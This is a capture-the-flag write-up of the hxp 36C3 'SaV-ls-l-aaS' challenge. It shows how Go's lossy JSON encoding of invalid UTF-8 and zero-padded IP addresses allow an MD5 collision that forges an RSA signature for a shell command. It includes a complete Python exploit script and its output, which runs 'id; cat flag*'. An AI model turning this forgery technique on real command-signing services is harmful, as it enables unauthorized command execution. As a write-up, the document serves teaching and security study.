# hxp 36C3 CTF: SaV-ls-l-aaS

###### crypto/web (588 points, 8 solves)

This challenge consisted of a ~~hard~~software security module
providing RSA signatures in PHP, together with a simple web
frontend written in Go that executes shell commands if they
are correctly signed (together with the client's IP address).
However, (un)fortunately, the server would only sign
the command `ls -l`, so one had to forge a signature.

The solution to this challenge lies in the communication
interface between the PHP "HSM" part and the Go frontend:
Apparently Go's `json` encoder thinks it's okay
to simply (and silently!)
throw away loads of information while JSON-encoding
strings that are invalid UTF8, replacing invalid
sequences of bytes by the Unicode replacement character
`U+fffd` �.

Fun fact: We actually discovered this ~~bug~~
dangerous default behaviour while solving
the ["lottery" challenge in p4's CONFidence CTF Quals 2019](https://confidence2019.p4.team/challenge/lottery),
where this happened (seemingly unintentionally)
with the MD5 hash value in the lottery results.

The basic consequence is that the hash value being
signed by the PHP "HSM" contains much less information
than an actual MD5 hash: Most of the bytes `> 0x7f`
do not easily form a valid UTF8 sequence together with
their neighbours,
so as a quick 'n' very dirty estimate we can guess that the
mangled hash value contains at most half the amount of information
of an actual MD5 hash.
(Experiments suggest that the entropy of the encoded hash
is in fact something like 28 bits.)
However, brute-forcing ≈ 56 bits is still a
little bit too much to find a second preimage for the whitelisted
`ls -l` message;
clearly, going for collision techniques to halve the complexity
again is the way to go,
but it looks as if there was no choice in the benign target
message: It must consist of our own IP address concatenated
with the string `ls -l`.
Does one need to acquire a botnet with gazillions of
IP addresses to find a collision involving a `ls -l`
signature?

Luckily, the answer is no: There is another subtlety in the
IP checking part of the Go frontend, namely that the IP is
parsed before comparing it to the client IP. Playing around
with Go's IP parser should quickly reveal quite a bit of
freedom here:
For example,
prefixing the IP digits with any amount of zeroes does not
change the represented address; this means `0000127.00.000.00000001`
is the same IPv4 address as `127.0.0.1`.
Perhaps counter-intuitively, the number of representations
of a given IP grows quite quickly: Padding each digit with
up to `256` zeroes already leads to `2^32` distinct
combinations.
Thus this non-uniqueness of IP representations yields
enough flexibility to find a collision between an `ls -l`
message and a `cat flag` message.
We used a
[somewhat optimized collision finder](https://hxp.io/assets/data/posts/66-savlslaas/gewalt.cpp.txt)
written in C++
for this step.

The rest of the solution is simply interacting with the API
exposed by the Go frontend:

```python
#!/usr/bin/env python3
import sys, requests, subprocess

benign_cmd = 'ls -l'
exploit_cmd = 'id; cat flag*'

ip, port = sys.argv[1], sys.argv[2]
url = 'http://{}:{}'.format(ip, port)

my_ip = requests.get(url + '/ip').text
print('[+] IP: ' + my_ip)

o = subprocess.check_output(['./gewalt', my_ip, benign_cmd, exploit_cmd])
print('[+] gewalt:' + o.decode())

payload = {}
for l in o.decode().splitlines():
ip, cmd = l.split('|')
payload['benign' if cmd == benign_cmd else 'pwn'] = ip, cmd

print(payload)

sig = requests.post(url + '/sign', data={'ip': payload['benign'][0], 'cmd': payload['benign'][1]}).text
print('[+] sig: ' + sig)

r = requests.post(url + '/exec', data={'signature': sig[:172] + payload['pwn'][0] + '|' + payload['pwn'][1]})
print(r.text)
```

Running this yields the flag:

```
[+] IP: 172.17.0.1
fffd fffd fffd fffd fffd fffd fffd fffd fffd fffd fffd fffd fffd fffd fffd fffd fffd fffd fffd fffd
hash count: 252438138 (2^27.91)
kapot count: 5222719 (2^22.32)
table sizes: 13250 13133
[+] gewalt:0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000172.0000000000000017.000000000000000000000000000.0000000000001|ls -l
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000172.000000000000000000000000000000000000000000000000000000000000000017.0.0001|id; cat flag*

{'benign': ('0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000172.0000000000000017.000000000000000000000000000.0000000000001', 'ls -l'), 'pwn': ('000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000172.000000000000000000000000000000000000000000000000000000000000000017.0.0001', 'id; cat flag*')}
[+] sig: ZQ1DqS0SHuGrDe0UvBJ5iXA7ZXP+HjpptVabyd+zsNfV5AY0D4UyuIAIV2Wuaady9Eu2Y3bcZ0hn1r7+Afgo+qAMW7EYnSmcwh+7cENmsNhdrO3iHtbR8RLUg5iBtlmv7poL4dNeWQQTj4eWxDXCi5DiUziwNtxSM9PcrGtFJjk=0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000172.0000000000000017.000000000000000000000000000.0000000000001|ls -l
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
hxp{FCK_JSON______I_guess_-___-_}
```

(It is interesting to note that the collision the attack
typically finds simply consists of two distinct preimages
for an all-`0xfffd` hash...)